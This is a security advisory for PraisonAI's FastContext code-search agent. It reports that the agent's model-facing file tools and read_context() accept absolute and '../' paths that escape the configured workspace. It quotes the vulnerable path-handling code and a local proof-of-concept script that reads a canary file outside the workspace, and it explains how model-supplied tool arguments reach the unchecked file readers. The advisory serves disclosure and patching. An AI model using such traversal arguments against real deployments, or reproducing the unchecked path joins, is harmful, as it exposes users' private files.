Summary
PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace
Advisory details
FastContext path resolution permits absolute and traversal reads outside the workspace
Summary
PraisonAI's praisonaiagents.context.fast FastContext feature treats workspace_path as the root directory for code search, but its model-facing search tools and high-level read_context() helper accept absolute paths and .. traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context.
Technical Details
FastContextAgent documents workspace_path as the "Root directory for searches" and stores it as an absolute path:
class FastContextAgent:
"""Specialized agent for fast parallel code search.
Attributes:
workspace_path: Root directory for searches
"""
def __init__(self, workspace_path: str, ...):
self.workspace_path = os.path.abspath(workspace_path)
The same class exposes grep_search, glob_search, read_file, and list_directory as model function-call tools via get_tools(). Those tools are intended to retrieve code context from the configured workspace.
The problem is in FastContextAgent.execute_tool(). It prepends workspace_path only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment:
if tool_name in ("grep_search", "glob_search"):
if "search_path" not in kwargs or kwargs["search_path"] == ".":
kwargs["search_path"] = self.workspace_path
elif not os.path.isabs(kwargs["search_path"]):
kwargs["search_path"] = os.path.join(self.workspace_path, kwargs["search_path"])
elif tool_name == "list_directory":
if "dir_path" not in kwargs or kwargs["dir_path"] == ".":
kwargs["dir_path"] = self.workspace_path
elif not os.path.isabs(kwargs["dir_path"]):
kwargs["dir_path"] = os.path.join(self.workspace_path, kwargs["dir_path"])
elif tool_name == "read_file":
if "filepath" in kwargs and not os.path.isabs(kwargs["filepath"]):
kwargs["filepath"] = os.path.join(self.workspace_path, kwargs["filepath"])
As a result, an absolute path passes through unchanged, and a relative traversal such as ../outside-secret.txt is transformed into <workspace>/../outside-secret.txt. The downstream search tools then call os.path.abspath() and operate on the resolved outside path.
The downstream tools do not enforce a FastContext workspace boundary:
def grep_search(search_path: str, pattern: str, ...):
search_path = os.path.abspath(search_path)
...
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
lines = f.readlines()
def read_file(filepath: str, ...):
filepath = os.path.abspath(filepath)
...
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
lines = f.readlines()
def list_directory(dir_path: str, ...):
dir_path = os.path.abspath(dir_path)
...
for entry in os.scandir(path):
...
The model-backed FastContextAgent.search() path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a ToolCallBatch:
response = model_client.chat.completions.create(
model=self.model,
messages=messages,
tools=[{"type": "function", "function": t} for t in self.get_tools()],
tool_choice="auto"
)
...
args = json.loads(tool_call.function.arguments)
batch.add(tool_call.function.name, **args)
...
tool_results = self.coordinator.execute_turn_sync(batch)
That path bypasses execute_tool()'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through ParallelSearchCoordinator.
The public high-level API has the same containment gap. FastContext.read_context() documents filepath as "relative to workspace", joins relative paths with workspace_path, and then calls read_file() without a resolved-path containment check:
def read_context(self, filepath: str, ...):
full_path = filepath
if not os.path.isabs(filepath):
full_path = os.path.join(self.workspace_path, filepath)
result = read_file(full_path, ...)
This behavior is not required for intended FastContext code search. A normal search through search_simple() searches only self.workspace_path; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root.
PoV
The following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed FastContextAgent.search() path because it dispatches model-generated path arguments to the same raw search functions.
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonaiagents.context.fast import FastContext
from praisonaiagents.context.fast.fast_context_agent import FastContextAgent
CANARY = "FAST_CONTEXT_CANARY=outside-workspace"
with TemporaryDirectory() as tmp:
root = Path(tmp) / "workspace"
root.mkdir()
(root / "inside.txt").write_text("INSIDE_ONLY=workspace\n")
outside = Path(tmp) / "outside-secret.txt"
outside.write_text(CANARY + "\n")
agent = FastContextAgent(str(root))
assert len(agent.search_simple(CANARY).files) == 0
assert "INSIDE_ONLY=workspace" in agent.execute_tool("read_file", filepath="inside.txt")["content"]
assert CANARY in agent.execute_tool("read_file", filepath="../outside-secret.txt")["content"]
assert CANARY in agent.execute_tool("read_file", filepath=str(outside))["content"]
assert any(CANARY in match["content"] for match in agent.execute_tool("grep_search", search_path="..", pattern=CANARY))
assert any(match["path"] == "outside-secret.txt" for match in agent.execute_tool("glob_search", search_path="..", pattern="*.txt"))
assert any(entry["name"] == "outside-secret.txt" for entry in agent.execute_tool("list_directory", dir_path="..")["entries"])
fc = FastContext(workspace_path=str(root), cache_enabled=False)
assert CANARY in fc.read_context("../outside-secret.txt")
PoC
Save the self-contained script from the Appendix below as fastcontext_workspace_pov.py, then run it against a local checkout:
export PRAISONAI=/path/to/PraisonAI
PYTHONPATH="$PRAISONAI/src/praisonai-agents" python fastcontext_workspace_pov.py
Expected vulnerable output:
{
"results": {
"absolute_read_discloses_canary": true,
"glob_parent_reveals_outside_file": true,
"grep_parent_discloses_canary": true,
"high_level_read_context_discloses_canary": true,
"inside_read_still_works": true,
"list_parent_reveals_outside_file": true,
"relative_traversal_read_discloses_canary": true,
"simple_search_does_not_find_outside_canary": true
},
"vulnerable": true
}
The version sweep sampled the FastContext introduction boundary and current releases:
PraisonAI FastContext workspace-boundary version sweep
current_main: 1620b49f36945d8cc8ee5635b906c960df5097a0
latest_tag_context: v4.6.63-2-g1620b49f
v2.3.9 praisonaiagents=0.0.188 missing fast_context_agent.py
v2.3.10 praisonaiagents=0.0.189 missing fast_context_agent.py
{"ref": "v2.3.11", "praisonaiagents_version": "0.0.190", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_re
References
- https://github.com/advisories/GHSA-4xxv-6wmf-xf45
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4xxv-6wmf-xf45
- https://nvd.nist.gov/vuln/detail/CVE-2026-61432
- https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0
- https://www.vulncheck.com/advisories/praisonai-fastcontext-before-path-traversal
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-61431
PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace
- MEDIUMCVE-2026-60088
PraisonAI: Project custom command templates can read outside-workspace files into model prompts
- HIGHGHSA-5rmq-chc7-m22f
Vibe-Trading file-read tools expose arbitrary server-readable files
- HIGHCVE-2026-77246
MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path
- HIGHCVE-2026-75859
CodeWhale: Project config `instructions` override enables arbitrary file read into AI system prompt via cloned repository
- LOWGHSA-g7r4-m6w7-qqqr
esbuild's development server (versions 0.27.3 up to but not including 0.28.1) allows arbitrary file read on Windows: a crafted request path can escape the served directory and read files elsewhere on disk. It affects the development server only, not production builds, but anyone running `esbuild --serve` on Windows is exposed to any local or networked attacker who can reach the server.